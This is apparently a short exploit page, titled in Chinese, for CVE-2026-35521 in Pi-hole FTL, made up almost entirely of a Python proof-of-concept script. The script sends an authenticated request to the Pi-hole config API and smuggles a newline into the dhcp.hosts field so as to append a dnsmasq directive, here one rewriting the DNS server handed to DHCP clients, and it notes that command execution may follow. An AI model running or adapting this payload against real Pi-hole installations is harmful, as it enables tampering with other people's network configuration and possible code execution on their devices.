CVE-2026-35521 Pi-hole FTL远程代码执行漏洞

import requests import urllib.parse # PoC for CVE-2026-35521: Pi-hole FTL RCE via dhcp.hosts injection # Target: Pi-hole FTL < 6.6 TARGET = "http://<PI-HOLE-IP>/api/config" API_TOKEN = "<VALID_ADMIN_TOKEN>" # The vulnerability allows injecting newline characters to append malicious dnsmasq config. # Example payload injecting a directive that could lead to command execution # (Specific command execution vector depends on dnsmasq config capabilities). # Here we inject a 'dhcp-option' directive as a proof of configuration injection. # Attacker controlled input malicious_host = "192.168.1.50,hacker-pc" # Injected configuration separator and command injected_config = "\ndhcp-option=6,8.8.8.8" # Combine to form the payload payload = malicious_host + injected_config headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } data = { "config": { "dhcp": { "hosts": payload } } } print(f"[*] Sending payload to {TARGET}...") print(f"[*] Payload content: {repr(payload)}") try: response = requests.post(TARGET, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload accepted successfully. Configuration injected.") print("[+] Check dnsmasq configuration or restart FTL to trigger the effect.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")